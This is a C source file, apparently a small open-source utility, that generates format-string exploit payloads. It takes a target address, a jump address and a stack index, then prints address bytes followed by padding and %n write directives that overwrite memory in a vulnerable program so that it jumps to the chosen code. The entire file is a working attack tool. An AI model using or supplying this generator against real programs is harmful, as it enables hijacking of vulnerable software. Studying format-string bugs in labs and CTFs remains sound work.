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/*
* Copyright (C) 2014 Olivier Gayot
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#include <assert.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <stdio.h>
#include <getopt.h>
unsigned char buffer[4096];
/* address to override */
static unsigned long override_addr_g;
/* address to jump to */
static unsigned long jmp_addr_g;
/* index of the element on the stack which is the beginning of the buffer */
static unsigned int idx_stack_g;
/* assume that an address is 'address_size_g' bytes long */
static int address_size_g = 4;
__attribute__((noreturn))
static void usage(const char *arg0)
{
fprintf(stderr, "usage: %s --override addr --with addr --stackidx idx\n", arg0);
fprintf(stderr, " %s --override addr --with addr --stackidx idx --addrsize size\n", arg0);
exit(EX_USAGE);
}
/*
* this function uses getopt to parse the options.
* it returns 0 on success; otherwise it returns a negative number
*/
static int parse_arguments(int argc, char *argv[])
{
bool override_set = false;
bool stackidx_set = false;
bool with_set = false;
for (;;) {
/* declaration of the options which we handle */
enum {
OPT_OVERRIDE,
OPT_WITH,
OPT_STACKIDX,
OPT_ADDR_SIZE,
};
static struct option long_options[] = {
{"override", required_argument, 0, OPT_OVERRIDE},
{"with", required_argument, 0, OPT_WITH},
{"stackidx", required_argument, 0, OPT_STACKIDX},
{"addrsize", required_argument, 0, OPT_ADDR_SIZE},
};
int option_index;
int c = getopt_long(argc, argv, "", long_options, &option_index);
if (c == -1) {
break;
}
switch (c) {
case OPT_OVERRIDE:
override_addr_g = strtoul(optarg, NULL, 16);
override_set = true;
break;
case OPT_WITH:
jmp_addr_g = strtoul(optarg, NULL, 16);
with_set = true;
break;
case OPT_STACKIDX:
idx_stack_g = atoi(optarg);
stackidx_set = true;
break;
case OPT_ADDR_SIZE:
address_size_g = atoi(optarg);
if (address_size_g < 1 || address_size_g > 8) {
return -1;
}
break;
default:
/*
* we must have accessed an option which we do not have
* specified in our switch-case
*/
assert (false);
break;
}
}
if (optind < argc) {
return -1;
}
if (!override_set || !stackidx_set || !with_set) {
return -1;
}
return 0;
}
/*
* this function returns the number of remaining bytes to write in order to
* have a %n printing the expected value
*/
static int calc_remaining(unsigned int needed, unsigned int *so_far)
{
int ret;
assert(needed <= 0xff);
if (needed >= (*so_far % 0x100)) {
ret = needed - (*so_far % 0x100);
} else {
ret = 0x100 - ((*so_far % 0x100) - needed);
}
*so_far += ret;
return ret;
}
int main(int argc, char *argv[])
{
#define PUT_ADDR(_offset) \
do { \
typeof(override_addr_g) override_addr = override_addr_g + _offset * 0x10; \
\
for (int sh = 0; sh < address_size_g; ++sh) { \
for (int shift = 0; shift < address_size_g; ++shift) { \
buffer[i++] = (override_addr >> (shift * 8)) & 0xff; \
++written; \
} \
++override_addr; \
} \
} while (0);
unsigned int i = 0;
unsigned int written = 0;
unsigned int values_pop = 0;
if (parse_arguments(argc, argv) < 0) {
usage(argv[0]);
}
PUT_ADDR(0);
/* override the address */
for (int shift = 0; shift < address_size_g; ++shift) {
int remaining;
if ((remaining = calc_remaining((jmp_addr_g >> (shift * 8)) & 0xff, &written)) < 8) {
memcpy(buffer + i, "ffffffff", remaining);
i += remaining;
} else {
i += sprintf((char *)buffer + i, "%%%dx", remaining);
++values_pop;
}
if (values_pop == idx_stack_g) {
/* (very) unlikely */
i += sprintf((char *)buffer + i, "%%n");
++values_pop;
} else {
i += sprintf((char *)buffer + i, "%%%d$n", idx_stack_g);
}
++idx_stack_g;
}
/* we write our payload */
fwrite(buffer, 1, i, stdout);
return 0;
#undef PUT_ADDR
}
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